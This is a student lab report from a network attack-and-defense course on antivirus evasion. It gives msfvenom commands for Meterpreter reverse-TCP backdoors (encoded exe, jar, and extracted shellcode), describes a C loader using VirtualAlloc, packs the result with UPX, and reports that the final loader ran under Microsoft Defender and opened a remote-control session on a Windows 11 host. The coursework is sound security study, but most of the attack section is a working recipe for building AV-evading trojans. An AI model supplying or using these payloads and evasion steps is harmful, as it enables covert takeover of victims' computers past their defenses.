20242415 2026-2027-1《网络与系统攻防技术》实验3实验报告
20242415 2026-2027-1《网络与系统攻防技术》实验3实验报告
1.基础知识
恶意代码与免杀:恶意代码(木马、病毒等)要能在目标机器上存活,就必须躲过杀毒软件的查杀。免杀(Anti-AntiVirus)就是通过一系列技术手段,在保留恶意代码原有功能的前提下,改变它的自身特征,让杀毒软件识别不出来。
杀软是如何检测出恶意代码的:
- 特征码检测:杀软从病毒样本里提取一段有代表性的字节序列作为"特征码",扫描文件时逐段比对,命中就报毒。这是最传统的方式,也是最容易被绕过的方式。
- 启发式/行为检测:不依赖固定特征,而是看程序的动作,比如是否申请可读可写可执行的内存、是否连接外网 IP、是否往系统目录写文件,行为可疑就拦截。
- 云查杀与沙箱:把样本上传云端或用隔离的沙箱环境动态运行一遍,观察它的真实行为来判断。
免杀是做什么:免杀就是让恶意代码在杀毒软件开启的情况下也能正常运行而不被杀软拦下来。它的本质,是在保住恶意功能的同时,把杀软赖以识别恶意代码的那些"把柄"——特征码、文件结构、行为特征——抹掉或者混淆掉。
免杀的基本方法有哪些:
- 修改/混淆特征码:改变恶意代码中特有的字节序列,让特征码比对失效;
- 编码/加密:用 msfvenom 的编码器(如 x86/shikata_ga_nai)把 shellcode 反复编码;
- 加壳/压缩:用 UPX 等加壳工具压缩程序,改变节区结构和文件大小;
- 换语言/换格式:生成 jar 等非 exe 载荷,借助 JVM 的跨平台特性躲过针对 PE 文件的检测;
- Shellcode 编程:只提取 shellcode 机器码,用 C 语言写一个加载器,把 shellcode 装进"正常"程序里运行时执行;
- 组合使用:把上面几种方法叠起来,比单靠一种更可靠。
实验用到的工具:Metasploit 的 msfvenom / msfconsole(载荷生成与监听)、UPX 加壳工具、mingw32-gcc(在 Linux 上交叉编译 Windows 可执行文件)、Python 自带的 http.server(用来传文件)。Veil 也是一款常见的免杀框架,本次加壳环节采用了 UPX,思路与 Veil 提供的加壳免杀是一致的。
2.实验内容
- 正确使用 msf 编码器(msfvenom -e),并用 msfvenom 生成 jar 等其他格式文件;练习加壳工具(UPX)、C+shellcode 编程等免杀手段;
- 通过组合应用上述各种技术,实现恶意代码的免杀;
- 用windows主机实测:在杀毒软件开启的情况下,恶意代码可运行并回连成功。
实验环境:攻击机 Kali(主机名 liyihan),靶机 Windows 11(主机名 LYH)。学号 20242415,实验中生成的所有文件都按学号命名。
3.实验过程
3.1 前期准备
- 先确定 Kali 的 IP 地址(eth0 为 192.168.182.128),后面生成载荷和监听都要用;
- 在 Windows 上创建系统还原点"免杀实验前",给主机留条退路;
- 在 Kali 新建
/home/kali/exp3目录专门放恶意文件,并启动python3 -m http.server 8000,让 Windows 浏览器可以直接从 Kali 下载文件。



3.2 生成基准恶意文件(未做任何免杀)
先用 msfvenom 生成一个完全没处理过的反向连接木马,作为后面比对的基准线:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=4444 -f exe -o raw_20242415.exe
把它拖进 VirusTotal 检测,结果 52/71 家报毒,识别为 Metasploit reverse TCP stager(trojan.lazy/meterpreter)。这就是最原始的状态——什么都不做肯定会被查杀。



3.3 使用 msf 编码器免杀
用 x86/shikata_ga_nai 编码器迭代编码 10 次,把 shellcode 的特征字节打乱,企图绕过基于特征码的检测:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x0' LHOST=192.168.182.128 LPORT=4444 -f exe -o encoded_20242415.exe
终端里可以看到每次迭代 payload 都在变大(355→625 字节),说明每次都在对特征做一次混淆。

3.4 生成 jar 格式载荷
利用 JVM 跨平台、不直接跑在系统层的特性,换一种文件格式:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=4444 -f jar -o backdoor_20242415.jar
针对 Java 环境的检测通常比 exe 要松一些,效果会好一点。

3.5 C + shellcode 编程
接下来是实验中的关键一步,不再直接用 msfvenom 生成的成品,而是只取出 shellcode:
- 先生成
.c格式的 shellcode(也就是恶意代码的机器码),保存为shellcode_20242415.c; - 然后写一个 C 语言加载器
loader_20242415.c,核心逻辑就三步:用VirtualAlloc申请一块可读可写可执行的内存(顺便绕开 DEP),用memcpy把 shellcode 复制进去,最后把这这块内存当函数指针直接调用; - 用 mingw32-gcc 在 Linux 上交叉编译成 Windows 可执行文件:
mingw32-gcc loader_20242415.c -o loader_20242415.exe。
这样程序本身是"正常"的 C 代码,没有 Metasploit 模板里那种明显的特征码。



3.6 加壳
用 UPX 对编译好的 exe 加壳压缩,改变文件的节区结构和大小,进一步隐藏特征:
upx loader_20242415.exe -o loader_upx_20242415.exe
从 109090 字节压到 60450 字节,压缩率 55.41%。

3.7 组合应用并在另一台电脑实测
把编码、C 加载器、加壳等方法组合起来,最终得到 loader_new_20242415.exe,放到 Kali 的 http 服务目录。靶机(LYH,Windows 11,自带 Microsoft Defender 开启)用浏览器下载并执行,Kali 端 http 日志能看到 loader_new_20242415.exe 被成功请求下载。
Kali 上用 multi/handler 开启反向监听(LPORT 4000),靶机执行木马后,成功回连建立 meterpreter 会话:
[*] Started reverse TCP handler on 192.168.5.128:4000
[*] Sending stage (199238 bytes) to 192.168.5.1
[*] Meterpreter session 1 opened (192.168.5.128:4000 -> 192.168.5.1:64223)
执行 sysinfo 查看系统信息,说明已经完全控制了目标主机:
Computer : LYH
OS : Windows 11 24H2+ (10.0 Build 26200)
Architecture : x64
Meterpreter : x86/windows



免杀成功原理简述:这次能免杀成功,主要是三件事叠加的效果。一是用编码器把 shellcode 的特征字节打乱,破坏了杀软靠特征码做静态匹配;二是把 shellcode 塞进自己写的 C 加载器里,程序本身是普通代码,不带 Metasploit 的明显特征,只有运行时才把机器码搬到内存里执行;三是加壳压缩改了文件的节区结构和体积,进一步躲过静态扫描。三层下来,杀软在静态层面基本找不到可以命中的特征。
与杀软共生的结果验证:在 Windows 11(Build 26200)自带的 Microsoft Defender 开启的情况下,loader_new_20242415.exe 下载后能正常执行并回连成功(见上面下载和 meterpreter 会话的截图),全程没有被拦截。
4.问题及解决方案
- 问题1:什么都不处理的
raw_20242415.exe检测率太高,VirusTotal 有 52/71 家报毒。
解决方案:改用编码器多次迭代打乱特征,再换成 jar 格式、C+shellcode 加载器、UPX 加壳等,从特征码、文件格式、文件结构几个角度一起绕开静态检测。 - 问题2:编码器打乱特征后,文件因为是 msfvenom 默认模板,仍然容易被认出;而且 exe 一运行,行为监控就把 shellcode 的动态加载动作拦下来。
解决方案:不再直接用 msfvenom 的成品,改成只提取 shellcode,用 C 语言自己写加载器,让 shellcode 在程序运行时才在内存里执行,程序本体看不出恶意。 - 问题3:交叉编译时报错,一开始找不到合适的 Windows 编译器。
解决方案:换成 mingw32-gcc 交叉编译链,编译时用-w参数把多余的警告关掉,顺利得到 Windows exe。 - 问题4:UPX 加壳后文件变小,节区特征比较明显,部分杀软能识别出"这是 UPX 加壳的"。
解决方案:把加壳只当成组合里的其中一环,配合编码器和 C 加载器一起用,不把希望全押在单一技术上。
5.学习感悟、思考
这次实验最大的感受是,免杀不是一劳永逸的,而是杀毒软件和攻击者一直在博弈的过程。杀软靠特征码和行为识别,免杀就针对性地打乱特征、改变行为;杀软更新规则,免杀就得换新思路。所以组合多种技术,比单靠一种要靠谱得多。
做实验的过程中也不是一帆风顺。一开始的原始木马检测率太高,编码之后又被行为监控盯上,回连也反复折腾了几次才通。这些坑让我更清楚一个道理:免杀的关键是搞清楚杀软到底"看什么",对症下药才有用,而不是盲目套工具。
另外我也意识到,免杀技术是把双刃剑。它既能用在安全研究里,也容易被滥用。作为学生,我们只能在实验环境里研究它,不能拿去做危害别人的事。这门实验也提醒我,真正好的安全防护不能只靠"查特征码",更要提升整体的检测和响应能力。
参考资料
- Metasploit Unleashed(OffSec 官方教程):https://www.offsec.com/metasploit-unleashed/
- 《Metasploit渗透测试魔鬼训练营》,诸葛建伟 等
- UPX 官方文档:https://upx.github.io/
- 《网络与系统攻防技术》实验3免杀原理与实践实验指导书:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
- 实验附件:https://gitee.com/wildlinux/NetSec/attach_files
浙公网安备 33010602011771号